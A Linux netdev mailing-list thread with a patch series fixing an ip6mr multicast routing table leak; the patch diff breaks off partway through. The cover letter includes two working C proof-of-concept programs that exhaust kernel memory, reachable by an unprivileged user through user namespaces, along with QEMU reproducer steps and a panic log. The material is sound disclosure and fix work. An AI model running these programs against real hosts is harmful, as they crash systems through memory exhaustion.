Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] ipv6: ip6mr: fix mr_table lifetime leak
@ 2026-07-23 17:38 Ren Wei
  2026-07-23 17:38 ` [PATCH net 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-23 17:38 UTC (permalink / raw)
  To: netdev
  Cc: dsahern, idosch, davem, edumazet, pabeni, horms, kaber, vega,
	zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated a table lifetime leak in net/ipv6/ip6mr.c. The
bug is reachable through IPPROTO_IPV6 multicast-routing setsockopt
operations on a raw ICMPv6 socket by a task that has CAP_NET_ADMIN and
CAP_NET_RAW in the target netns, including a process that first enters
a fresh user+net namespace with unshare -Urn. We tested the fix on
Linux 7.2-rc4, including the legacy MRT6_TABLE loop plus INIT/close
and INIT/DONE teardown paths, and it should not affect other multicast
routing functionality. The decoded crash log below is the preserved
unfixed reference panic from an earlier 7.1.0-rc1 run.

This series contains one patch:
  1/1 ipv6: ip6mr: fix mr_table lifetime leak

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

MRT6_TABLE should only select a multicast routing table, but a fresh
non-default mr_table could still outlive the socket once MRT6_INIT
published it. After MRT6_DONE or socket close, ip6mr_sk_done() cleared
the routing state but left an empty table linked from mr6_tables, so
repeated MRT6_TABLE(fresh id) -> MRT6_INIT -> MRT6_DONE/close cycles
accumulated detached tables until netns teardown and eventually
exhausted memory.

A safe fix needs to account for RCU readers in lookup, getsockopt,
ioctl, and multicast data paths. This series keeps MRT6_TABLE as a
pure selector, adds refcounted lifetime pins for runtime users and
socket ownership, removes empty non-default tables from the published
set with list_del_rcu() during teardown, and defers the final free to
process context when the last reference drops outside RTNL. The common
mr_table allocator also holds a netns reference until final table
destruction.

Reproducer:

    host$ qemu-img create -f qcow2 -F raw \
      -b /mnt/d/WSL/prepare-package/kernel-image/bullseye.img \
      /tmp/ip6mr-master-verify-overlay.qcow2
    host$ qemu-system-x86_64 -m 2G -cpu host -smp 2 \
      -machine accel=kvm \
      -kernel /var/cache/linux-patch/ip6mr-master-build/arch/x86/boot/bzImage \
      -append 'root=/dev/sda rw console=ttyS0 earlyprintk=serial \
      net.ifnames=0 biosdevname=0 panic_on_warn=1 oops=panic \
      slub_debug=FZPU page_poison=1 init_on_alloc=1 init_on_free=1' \
      -drive file=/tmp/ip6mr-master-verify-overlay.qcow2,format=qcow2 \
      -nographic -netdev user,id=net0,hostfwd=tcp::19023-:22 \
      -device virtio-net-pci,netdev=net0
    host$ scp -P 19023 poc.static verify-clean/poc-initdone.static \
      root@localhost:/tmp/
    guest# /tmp/poc.static 30000 1
    guest# /tmp/poc-initdone.static 10000 500000 close
    guest# /tmp/poc-initdone.static 10000 600000 done
    guest# su - test_user -c \
      'unshare -Urn sh -c "/tmp/poc-initdone.static \
      10000 700000 done"'

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

The main INIT/close and INIT/DONE reproducer is shown first. The
legacy MRT6_TABLE-only helper used for the secondary check follows.

------BEGIN poc-initdone.c------

#define _GNU_SOURCE
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [count] [start_table] [mode]\n"
		"  count: number of sockets/tables to create (default: 20000)\n"
		"  start_table: first table id to use (default: 1)\n"
		"  mode: close | done (default: close)\n",
		prog);
	exit(1);
}

static int do_one(unsigned int table, int do_done)
{
	int fd;
	int one = 1;

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (fd < 0) {
		fprintf(stderr, "socket failed for table %u: %s\n", table,
			strerror(errno));
		return -1;
	}

	if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table, sizeof(table)) < 0) {
		fprintf(stderr, "MRT6_TABLE(%u) failed: %s\n", table,
			strerror(errno));
		close(fd);
		return -1;
	}

	if (setsockopt(fd, IPPROTO_IPV6, MRT6_INIT, &one, sizeof(one)) < 0) {
		fprintf(stderr, "MRT6_INIT(%u) failed: %s\n", table,
			strerror(errno));
		close(fd);
		return -1;
	}

	if (do_done && setsockopt(fd, IPPROTO_IPV6, MRT6_DONE, &one, sizeof(one)) < 0) {
		fprintf(stderr, "MRT6_DONE(%u) failed: %s\n", table,
			strerror(errno));
		close(fd);
		return -1;
	}

	if (close(fd) < 0) {
		fprintf(stderr, "close(%u) failed: %s\n", table, strerror(errno));
		return -1;
	}

	return 0;
}

int main(int argc, char **argv)
{
	unsigned int count = 20000;
	unsigned int start = 1;
	unsigned int i;
	int do_done = 0;

	if (argc > 4)
		usage(argv[0]);
	if (argc >= 2)
		count = strtoul(argv[1], NULL, 0);
	if (argc >= 3)
		start = strtoul(argv[2], NULL, 0);
	if (argc == 4) {
		if (!strcmp(argv[3], "done"))
			do_done = 1;
		else if (strcmp(argv[3], "close"))
			usage(argv[0]);
	}

	if (!count || !start || start >= 100000000U)
		usage(argv[0]);

	for (i = 0; i < count; i++) {
		u_int32_t table = start + i;

		if (table >= 100000000U) {
			fprintf(stderr, "stopped before invalid table id %u\n", table);
			break;
		}

		if (do_one(table, do_done) < 0)
			return 2;

		if ((i % 1000) == 0) {
			struct rusage ru;

			if (!getrusage(RUSAGE_SELF, &ru))
				fprintf(stderr,
					"completed=%u current_table=%u maxrss_kb=%ld mode=%s\n",
					i + 1, table, ru.ru_maxrss,
					do_done ? "done" : "close");
			else
				fprintf(stderr,
					"completed=%u current_table=%u mode=%s\n",
					i + 1, table, do_done ? "done" : "close");
		}
	}

	fprintf(stderr,
		"done: completed %u init/%s cycles starting at table %u\n",
		i, do_done ? "done" : "close", start);
	sleep(2);
	return 0;
}

------END poc-initdone.c--------

------BEGIN poc.c------

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [count] [start_table]\n"
		"  count: number of new MRT6 table ids to allocate (default: 200000)\n"
		"  start_table: first table id to use (default: 1)\n",
		prog);
	exit(1);
}

int main(int argc, char **argv)
{
	unsigned int count = 200000;
	unsigned int start = 1;
	unsigned int i;
	int fd;

	if (argc > 3)
		usage(argv[0]);
	if (argc >= 2)
		count = strtoul(argv[1], NULL, 0);
	if (argc == 3)
		start = strtoul(argv[2], NULL, 0);

	if (count == 0 || start == 0 || start >= 100000000U)
		usage(argv[0]);

	fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (fd < 0)
		die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");

	for (i = 0; i < count; i++) {
		u_int32_t table = start + i;

		if (table >= 100000000U) {
			fprintf(stderr, "stopped before invalid table id %u\n", table);
			break;
		}

		if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table,
			       sizeof(table)) < 0) {
			fprintf(stderr,
				"setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n",
				table, i, strerror(errno));
			close(fd);
			return 2;
		}

		if ((i % 10000) == 0) {
			struct rusage ru;

			if (!getrusage(RUSAGE_SELF, &ru))
				fprintf(stderr,
					"allocated=%u current_table=%u maxrss_kb=%ld\n",
					i + 1, table, ru.ru_maxrss);
			else
				fprintf(stderr, "allocated=%u current_table=%u\n",
					i + 1, table);
		}
	}

		fprintf(stderr,
			"done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n",
			i);
	close(fd);
	sleep(2);
fprintf(stderr, "socket closed; tables persist until netns teardown\n");
return 0;
}

------END poc.c--------

The decoded crash log below is the preserved unfixed reference panic
from the earlier 7.1.0-rc1 run.

----BEGIN crash log----
[ 1443.893330][    T1] Kernel panic - not syncing: System is deadlocked on memory
[ 1443.893927][    T1] CPU: 3 UID: 0 PID: 1 Comm: systemd Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 1443.894503][    T1] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1443.895175][    T1] Call Trace:
[ 1443.895398][    T1]  <TASK>
[ 1443.895601][ T1] vpanic+0x6c3/0x790 
[ 1443.895879][ T1] ? __pfx_vpanic+0x10/0x10 
[ 1443.896186][ T1] panic+0xca/0xd0 
[ 1443.896433][ T1] ? __pfx_panic+0x10/0x10 
[ 1443.896749][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.897134][ T1] out_of_memory+0x1400/0x1430 
[ 1443.897461][ T1] ? __pfx_out_of_memory+0x10/0x10 
[ 1443.897813][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.898196][ T1] __alloc_frozen_pages_noprof+0x2306/0x2af0 
[ 1443.898613][ T1] ? __pfx_blk_mq_flush_plug_list+0x10/0x10 
[ 1443.899002][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.899373][ T1] ? ext4_mpage_readpages+0x577/0x14d0 
[ 1443.899733][ T1] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10 
[ 1443.900180][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.900543][ T1] ? __blk_flush_plug+0x27d/0x4e0 
[ 1443.900912][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.901277][ T1] ? blk_finish_plug+0x52/0xa0 
[ 1443.901605][ T1] alloc_pages_mpol+0x14a/0x440 
[ 1443.901919][ T1] ? __pfx_alloc_pages_mpol+0x10/0x10 
[ 1443.902263][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.902643][ T1] folio_alloc_noprof+0x16/0x1a0 
[ 1443.902965][ T1] filemap_alloc_folio_noprof.part.0+0x285/0x350 
[ 1443.903371][ T1] ? __pfx_filemap_alloc_folio_noprof.part.0+0x10/0x10 
[ 1443.903813][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.904177][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.904560][ T1] __filemap_get_folio_mpol+0x3e2/0x880 
[ 1443.904934][ T1] filemap_fault+0x12c6/0x2370 
[ 1443.905251][ T1] ? __pfx_filemap_fault+0x10/0x10 
[ 1443.905634][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.905996][ T1] ? find_held_lock+0x2b/0x80 
[ 1443.906296][ T1] ? __pfx_filemap_map_pages+0x10/0x10 
[ 1443.906672][ T1] __do_fault+0xf0/0x310 
[ 1443.906952][ T1] do_fault+0x873/0x1230 
[ 1443.907243][ T1] __handle_mm_fault+0x1186/0x1f90 
[ 1443.907595][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.907980][ T1] ? reacquire_held_locks+0xcd/0x1f0 
[ 1443.908329][ T1] ? __pfx___handle_mm_fault+0x10/0x10 
[ 1443.908714][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.909081][ T1] ? lock_vma_under_rcu+0x12b/0x3f0 
[ 1443.909439][ T1] ? __pfx_lock_vma_under_rcu+0x10/0x10 
[ 1443.909822][ T1] handle_mm_fault+0x2ad/0x8c0 
[ 1443.910138][ T1] ? rcu_is_watching+0x12/0xc0 
[ 1443.910444][ T1] ? srso_alias_return_thunk+0x5/0xfbef5 
[ 1443.910815][ T1] do_user_addr_fault+0x302/0xdd0 
[ 1443.911147][ T1] ? trace_page_fault_user+0x133/0x180 
[ 1443.911514][ T1] exc_page_fault+0x64/0xd0 
[ 1443.911812][ T1] asm_exc_page_fault+0x26/0x30 
[ 1443.912130][    T1] RIP: 0033:0x7f4be5e464d4
[ 1443.912422][ T1] Code: Unable to access opcode bytes at 0x7f4be5e464aa.

Code starting with the faulting instruction
===========================================
[ 1443.912875][    T1] RSP: 002b:00007ffec58b8a60 EFLAGS: 00010286
[ 1443.913276][    T1] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 0000000000000000
[ 1443.913785][    T1] RDX: 00007f4be5f96000 RSI: ffffffffffffffff RDI: 00007f4be6375a73
[ 1443.914285][    T1] RBP: 00007f4be6375a71 R08: 000055b690575010 R09: 000055b690587810
[ 1443.914805][    T1] R10: 00007f4be5f198b6 R11: 0000000000000057 R12: ffffffffffffffff
[ 1443.915306][    T1] R13: 000055b690575010 R14: 0000000000000000 R15: 0000000000000073
[ 1443.915839][    T1]  </TASK>
[ 1443.916485][    T1] Kernel Offset: disabled
[ 1443.916802][    T1] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  ipv6: ip6mr: fix mr_table lifetime leak

 include/linux/mroute_base.h |   6 +
 net/ipv4/ipmr_base.c        |   6 +-
 net/ipv6/ip6mr.c            | 328 +++++++++++++++++++++++++++---------
 3 files changed, 258 insertions(+), 82 deletions(-)


base-commit: 1590cf0329716306e948a8fc29f1d3ee87d3989f
-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net 1/1] ipv6: ip6mr: fix mr_table lifetime leak
  2026-07-23 17:38 [PATCH net 0/1] ipv6: ip6mr: fix mr_table lifetime leak Ren Wei
@ 2026-07-23 17:38 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-23 17:38 UTC (permalink / raw)
  To: netdev
  Cc: dsahern, idosch, davem, edumazet, pabeni, horms, kaber, vega,
	zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

MRT6_TABLE should only select a multicast routing table, but a fresh
non-default mr_table can still outlive the socket once MRT6_INIT
publishes it. After MRT6_DONE or socket close, ip6mr_sk_done() clears
the routing state but leaves the empty table linked from mr6_tables, so
repeated MRT6_TABLE(fresh id) -> MRT6_INIT -> MRT6_DONE/close cycles
accumulate detached tables until netns teardown.

Simply freeing the table from ip6mr_sk_done() is not safe because
lookups, getsockopt/ioctl paths and multicast data paths can still hold
RCU references to the published table.

Fix this by keeping MRT6_TABLE as a pure selector, adding refcounted
lifetime pins for runtime users, removing empty non-default tables from
the published set with list_del_rcu() after socket teardown, and
deferring the final free to process context when the last reference
drops outside RTNL. Hold the netns while the table exists so deferred
destruction cannot outlive it.

Fixes: d1db275dd3f6 ("ipv6: ip6mr: support multiple tables")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 include/linux/mroute_base.h |   6 +
 net/ipv4/ipmr_base.c        |   6 +-
 net/ipv6/ip6mr.c            | 328 +++++++++++++++++++++++++++---------
 3 files changed, 258 insertions(+), 82 deletions(-)

diff --git a/include/linux/mroute_base.h b/include/linux/mroute_base.h
index 4d55827e970..536fa324620 100644
--- a/include/linux/mroute_base.h
+++ b/include/linux/mroute_base.h
@@ -2,8 +2,10 @@
 #define __LINUX_MROUTE_BASE_H
 
 #include <linux/netdevice.h>
+#include <linux/refcount.h>
 #include <linux/rhashtable-types.h>
 #include <linux/spinlock.h>
+#include <linux/workqueue.h>
 #include <net/net_namespace.h>
 #include <net/sock.h>
 #include <net/fib_notifier.h>
@@ -242,6 +244,8 @@ struct mr_table_ops {
  * @mroute_do_assert: Whether to inform userspace on wrong ingress
  * @mroute_do_pim: Whether to receive IGMP PIMv1
  * @mroute_reg_vif_num: PIM-device vif index
+ * @refcnt: lifetime pins for this table
+ * @destroy_work: process-context cleanup before final RCU free
  */
 struct mr_table {
 	struct rcu_work		work;
@@ -261,6 +265,8 @@ struct mr_table {
 	bool			mroute_do_pim;
 	bool			mroute_do_wrvifwhole;
 	int			mroute_reg_vif_num;
+	refcount_t		refcnt;
+	struct work_struct	destroy_work;
 };
 
 static inline bool mr_can_free_table(struct net *net)
diff --git a/net/ipv4/ipmr_base.c b/net/ipv4/ipmr_base.c
index 867b24beded..9710789cfaf 100644
--- a/net/ipv4/ipmr_base.c
+++ b/net/ipv4/ipmr_base.c
@@ -32,8 +32,10 @@ static void __mr_free_table(struct work_struct *work)
 {
 	struct mr_table *mrt = container_of(to_rcu_work(work),
 					    struct mr_table, work);
+	struct net *net = read_pnet(&mrt->net);
 
 	rhltable_destroy(&mrt->mfc_hash);
+	put_net(net);
 	kfree(mrt);
 }
 
@@ -56,11 +58,12 @@ mr_table_alloc(struct net *net, u32 id,
 	if (!mrt)
 		return ERR_PTR(-ENOMEM);
 	mrt->id = id;
-	write_pnet(&mrt->net, net);
+	write_pnet(&mrt->net, get_net(net));
 
 	mrt->ops = *ops;
 	err = rhltable_init(&mrt->mfc_hash, mrt->ops.rht_params);
 	if (err) {
+		put_net(read_pnet(&mrt->net));
 		kfree(mrt);
 		return ERR_PTR(err);
 	}
@@ -72,6 +75,7 @@ mr_table_alloc(struct net *net, u32 id,
 	timer_setup(&mrt->ipmr_expire_timer, expire_func, 0);
 
 	mrt->mroute_reg_vif_num = -1;
+	refcount_set(&mrt->refcnt, 1);
 	table_set(mrt, net);
 	return mrt;
 }
diff --git a/net/ipv6/ip6mr.c b/net/ipv6/ip6mr.c
index 604a5883890..94bb00bdff9 100644
--- a/net/ipv6/ip6mr.c
+++ b/net/ipv6/ip6mr.c
@@ -87,6 +87,11 @@ static struct kmem_cache *mrt_cachep __read_mostly;
 static struct mr_table *ip6mr_new_table(struct net *net, u32 id);
 static void ip6mr_free_table(struct mr_table *mrt,
 			     struct list_head *dev_kill_list);
+static void ip6mr_free_table_work(struct work_struct *work);
+static struct mr_table *ip6mr_get_table_hold(struct net *net, u32 id);
+static void ip6mr_put_table(struct mr_table *mrt);
+static void __ip6mr_put_table(struct mr_table *mrt,
+			      struct list_head *dev_kill_list);
 
 static void ip6_mr_forward(struct net *net, struct mr_table *mrt,
 			   struct net_device *dev, struct sk_buff *skb,
@@ -179,7 +184,7 @@ static int ip6mr_rule_action(struct fib_rule *rule, struct flowi *flp,
 
 	arg->table = fib_rule_get_table(rule, arg);
 
-	mrt = __ip6mr_get_table(rule->fr_net, arg->table);
+	mrt = ip6mr_get_table_hold(rule->fr_net, arg->table);
 	if (!mrt)
 		return -EAGAIN;
 	res->mrt = mrt;
@@ -271,7 +276,8 @@ static void __net_exit ip6mr_rules_exit_rtnl(struct net *net,
 
 	list_for_each_entry_safe(mrt, next, &net->ipv6.mr6_tables, list) {
 		list_del_rcu(&mrt->list);
-		ip6mr_free_table(mrt, dev_kill_list);
+		synchronize_rcu();
+		__ip6mr_put_table(mrt, dev_kill_list);
 	}
 }
 
@@ -314,7 +320,7 @@ static struct mr_table *__ip6mr_get_table(struct net *net, u32 id)
 static int ip6mr_fib_lookup(struct net *net, struct flowi6 *flp6,
 			    struct mr_table **mrt)
 {
-	*mrt = rcu_dereference(net->ipv6.mrt6);
+	*mrt = ip6mr_get_table_hold(net, RT6_TABLE_DFLT);
 	if (!*mrt)
 		return -EAGAIN;
 	return 0;
@@ -342,7 +348,8 @@ static void __net_exit ip6mr_rules_exit_rtnl(struct net *net,
 	struct mr_table *mrt = rcu_dereference_protected(net->ipv6.mrt6, 1);
 
 	RCU_INIT_POINTER(net->ipv6.mrt6, NULL);
-	ip6mr_free_table(mrt, dev_kill_list);
+	synchronize_rcu();
+	__ip6mr_put_table(mrt, dev_kill_list);
 }
 
 static int ip6mr_rules_dump(struct net *net, struct notifier_block *nb,
@@ -368,6 +375,44 @@ static struct mr_table *ip6mr_get_table(struct net *net, u32 id)
 	return mrt;
 }
 
+static struct mr_table *ip6mr_get_table_hold(struct net *net, u32 id)
+{
+	struct mr_table *mrt;
+
+	rcu_read_lock();
+	mrt = __ip6mr_get_table(net, id);
+	if (mrt && !refcount_inc_not_zero(&mrt->refcnt))
+		mrt = NULL;
+	rcu_read_unlock();
+
+	return mrt;
+}
+
+static void __ip6mr_put_table(struct mr_table *mrt,
+			      struct list_head *head)
+{
+	struct list_head *dev_kill_list;
+	LIST_HEAD(local_dev_kill_list);
+
+	if (!refcount_dec_and_test(&mrt->refcnt))
+		return;
+
+	if (!lockdep_rtnl_is_held()) {
+		schedule_work(&mrt->destroy_work);
+		return;
+	}
+
+	dev_kill_list = head ? head : &local_dev_kill_list;
+	ip6mr_free_table(mrt, dev_kill_list);
+	if (!head)
+		unregister_netdevice_many(dev_kill_list);
+}
+
+static void ip6mr_put_table(struct mr_table *mrt)
+{
+	__ip6mr_put_table(mrt, NULL);
+}
+
 static int ip6mr_hash_cmp(struct rhashtable_compare_arg *arg,
 			  const void *ptr)
 {
@@ -413,8 +458,12 @@ static struct mr_table *ip6mr_new_table(struct net *net, u32 id)
 	if (mrt)
 		return mrt;
 
-	return mr_table_alloc(net, id, &ip6mr_mr_table_ops,
-			      ipmr_expire_process, ip6mr_new_table_set);
+	mrt = mr_table_alloc(net, id, &ip6mr_mr_table_ops,
+			     ipmr_expire_process, ip6mr_new_table_set);
+	if (!IS_ERR(mrt))
+		INIT_WORK(&mrt->destroy_work, ip6mr_free_table_work);
+
+	return mrt;
 }
 
 static void ip6mr_free_table(struct mr_table *mrt,
@@ -423,8 +472,6 @@ static void ip6mr_free_table(struct mr_table *mrt,
 	struct net *net = read_pnet(&mrt->net);
 	LIST_HEAD(ip6mr_dev_kill_list);
 
-	WARN_ON_ONCE(!mr_can_free_table(net));
-
 	timer_shutdown_sync(&mrt->ipmr_expire_timer);
 	mroute_clean_tables(mrt, MRT6_FLUSH_MIFS | MRT6_FLUSH_MIFS_STATIC |
 			    MRT6_FLUSH_MFC | MRT6_FLUSH_MFC_STATIC,
@@ -436,6 +483,17 @@ static void ip6mr_free_table(struct mr_table *mrt,
 	list_splice(&ip6mr_dev_kill_list, dev_kill_list);
 }
 
+static void ip6mr_free_table_work(struct work_struct *work)
+{
+	struct mr_table *mrt = container_of(work, struct mr_table, destroy_work);
+	LIST_HEAD(dev_kill_list);
+
+	rtnl_lock();
+	ip6mr_free_table(mrt, &dev_kill_list);
+	unregister_netdevice_many(&dev_kill_list);
+	rtnl_unlock();
+}
+
 #ifdef CONFIG_PROC_FS
 /* The /proc interfaces to multicast routing
  * /proc/ip6_mr_cache /proc/ip6_mr_vif
@@ -569,7 +627,7 @@ static int pim6_rcv(struct sk_buff *skb)
 	struct ipv6hdr   *encap;
 	struct net_device  *reg_dev = NULL;
 	struct net *net = dev_net(skb->dev);
-	struct mr_table *mrt;
+	struct mr_table *mrt = NULL;
 	struct flowi6 fl6 = {
 		.flowi6_iif	= skb->dev->ifindex,
 		.flowi6_mark	= skb->mark,
@@ -617,9 +675,12 @@ static int pim6_rcv(struct sk_buff *skb)
 	skb_tunnel_rx(skb, reg_dev, dev_net(reg_dev));
 
 	netif_rx(skb);
+	ip6mr_put_table(mrt);
 
 	return 0;
  drop:
+	if (mrt)
+		ip6mr_put_table(mrt);
 	kfree_skb(skb);
 	return 0;
 }
@@ -634,7 +695,7 @@ static netdev_tx_t reg_vif_xmit(struct sk_buff *skb,
 				      struct net_device *dev)
 {
 	struct net *net = dev_net(dev);
-	struct mr_table *mrt;
+	struct mr_table *mrt = NULL;
 	struct flowi6 fl6 = {
 		.flowi6_oif	= dev->ifindex,
 		.flowi6_iif	= skb->skb_iif ? : LOOPBACK_IFINDEX,
@@ -655,12 +716,15 @@ static netdev_tx_t reg_vif_xmit(struct sk_buff *skb,
 	ip6mr_cache_report(mrt, skb, READ_ONCE(mrt->mroute_reg_vif_num),
 			   MRT6MSG_WHOLEPKT);
 	rcu_read_unlock();
+	ip6mr_put_table(mrt);
 	kfree_skb(skb);
 	return NETDEV_TX_OK;
 
 tx_lookup_err:
 	rcu_read_unlock();
 tx_err:
+	if (mrt)
+		ip6mr_put_table(mrt);
 	DEV_STATS_INC(dev, tx_errors);
 	kfree_skb(skb);
 	return NETDEV_TX_OK;
@@ -1615,12 +1679,13 @@ static void mroute_clean_tables(struct mr_table *mrt, int flags,
 	}
 }
 
-static int ip6mr_sk_init(struct mr_table *mrt, struct sock *sk)
+static int __ip6mr_sk_init(struct mr_table *mrt, struct sock *sk)
 {
 	int err = 0;
 	struct net *net = sock_net(sk);
 
-	rtnl_lock();
+	ASSERT_RTNL();
+
 	spin_lock(&mrt_lock);
 	if (rtnl_dereference(mrt->mroute_sk)) {
 		err = -EADDRINUSE;
@@ -1628,6 +1693,7 @@ static int ip6mr_sk_init(struct mr_table *mrt, struct sock *sk)
 		rcu_assign_pointer(mrt->mroute_sk, sk);
 		sock_set_flag(sk, SOCK_RCU_FREE);
 		atomic_inc(&net->ipv6.devconf_all->mc_forwarding);
+		refcount_inc(&mrt->refcnt);
 	}
 	spin_unlock(&mrt_lock);
 
@@ -1636,7 +1702,6 @@ static int ip6mr_sk_init(struct mr_table *mrt, struct sock *sk)
 					     NETCONFA_MC_FORWARDING,
 					     NETCONFA_IFINDEX_ALL,
 					     net->ipv6.devconf_all);
-	rtnl_unlock();
 
 	return err;
 }
@@ -1646,6 +1711,7 @@ int ip6mr_sk_done(struct sock *sk)
 	struct net *net = sock_net(sk);
 	struct ipv6_devconf *devconf;
 	LIST_HEAD(dev_kill_list);
+	struct mr_table *free_mrt = NULL;
 	struct mr_table *mrt;
 	int err = -EACCES;
 
@@ -1675,6 +1741,15 @@ int ip6mr_sk_done(struct sock *sk)
 
 			mroute_clean_tables(mrt, MRT6_FLUSH_MIFS | MRT6_FLUSH_MFC,
 					    &dev_kill_list);
+			if (mrt->id != RT6_TABLE_DFLT &&
+			    !READ_ONCE(mrt->maxvif) &&
+			    !READ_ONCE(mrt->cache_resolve_queue_len) &&
+			    list_empty(&mrt->mfc_cache_list) &&
+			    list_empty(&mrt->mfc_unres_queue) &&
+			    READ_ONCE(mrt->mroute_reg_vif_num) < 0) {
+				list_del_rcu(&mrt->list);
+				free_mrt = mrt;
+			}
 			err = 0;
 			break;
 		}
@@ -1682,6 +1757,14 @@ int ip6mr_sk_done(struct sock *sk)
 	unregister_netdevice_many(&dev_kill_list);
 	rtnl_unlock();
 
+	if (!err)
+		ip6mr_put_table(mrt);
+
+	if (free_mrt) {
+		synchronize_rcu();
+		ip6mr_put_table(free_mrt);
+	}
+
 	return err;
 }
 
@@ -1693,11 +1776,15 @@ bool mroute6_is_socket(struct net *net, struct sk_buff *skb)
 		.flowi6_oif	= skb->dev->ifindex,
 		.flowi6_mark	= skb->mark,
 	};
+	bool ret;
 
 	if (ip6mr_fib_lookup(net, &fl6, &mrt) < 0)
 		return NULL;
 
-	return rcu_access_pointer(mrt->mroute_sk);
+	ret = rcu_access_pointer(mrt->mroute_sk);
+	ip6mr_put_table(mrt);
+
+	return ret;
 }
 EXPORT_SYMBOL(mroute6_is_socket);
 
@@ -1716,20 +1803,24 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 	struct mf6cctl mfc;
 	mifi_t mifi;
 	struct net *net = sock_net(sk);
-	struct mr_table *mrt;
+	struct mr_table *mrt = NULL;
+	u32 table = raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT;
 
 	if (sk->sk_type != SOCK_RAW ||
 	    inet_sk(sk)->inet_num != IPPROTO_ICMPV6)
 		return -EOPNOTSUPP;
 
-	mrt = ip6mr_get_table(net, raw6_sk(sk)->ip6mr_table ? : RT6_TABLE_DFLT);
-	if (!mrt)
-		return -ENOENT;
-
-	if (optname != MRT6_INIT) {
+	if (optname != MRT6_INIT &&
+	    optname != MRT6_TABLE &&
+	    optname != MRT6_DONE) {
+		mrt = ip6mr_get_table_hold(net, table);
+		if (!mrt)
+			return -ENOENT;
 		if (sk != rcu_access_pointer(mrt->mroute_sk) &&
-		    !ns_capable(net->user_ns, CAP_NET_ADMIN))
+		    !ns_capable(net->user_ns, CAP_NET_ADMIN)) {
+			ip6mr_put_table(mrt);
 			return -EACCES;
+		}
 	}
 
 	switch (optname) {
@@ -1737,32 +1828,41 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 		if (optlen < sizeof(int))
 			return -EINVAL;
 
-		return ip6mr_sk_init(mrt, sk);
+		rtnl_lock();
+		mrt = ip6mr_new_table(net, table);
+		if (!IS_ERR(mrt))
+			ret = __ip6mr_sk_init(mrt, sk);
+		else
+			ret = PTR_ERR(mrt);
+		rtnl_unlock();
+		return ret;
 
 	case MRT6_DONE:
 		return ip6mr_sk_done(sk);
 
 	case MRT6_ADD_MIF:
 		if (optlen < sizeof(vif))
-			return -EINVAL;
+			goto out_put_table_einval;
 		if (copy_from_sockptr(&vif, optval, sizeof(vif)))
-			return -EFAULT;
+			goto out_put_table_efault;
 		if (vif.mif6c_mifi >= MAXMIFS)
-			return -ENFILE;
+			goto out_put_table_enfile;
 		rtnl_lock();
 		ret = mif6_add(net, mrt, &vif,
 			       sk == rtnl_dereference(mrt->mroute_sk));
 		rtnl_unlock();
+		ip6mr_put_table(mrt);
 		return ret;
 
 	case MRT6_DEL_MIF:
 		if (optlen < sizeof(mifi_t))
-			return -EINVAL;
+			goto out_put_table_einval;
 		if (copy_from_sockptr(&mifi, optval, sizeof(mifi_t)))
-			return -EFAULT;
+			goto out_put_table_efault;
 		rtnl_lock();
 		ret = mif6_delete(mrt, mifi, 0, NULL);
 		rtnl_unlock();
+		ip6mr_put_table(mrt);
 		return ret;
 
 	/*
@@ -1776,9 +1876,9 @@ int ip6_mroute_setsockopt(struct sock *sk, int optname, sockptr_t optval,
 	case MRT6_ADD_MFC_PROXY:
 	case MRT6_DEL_MFC_PROXY:
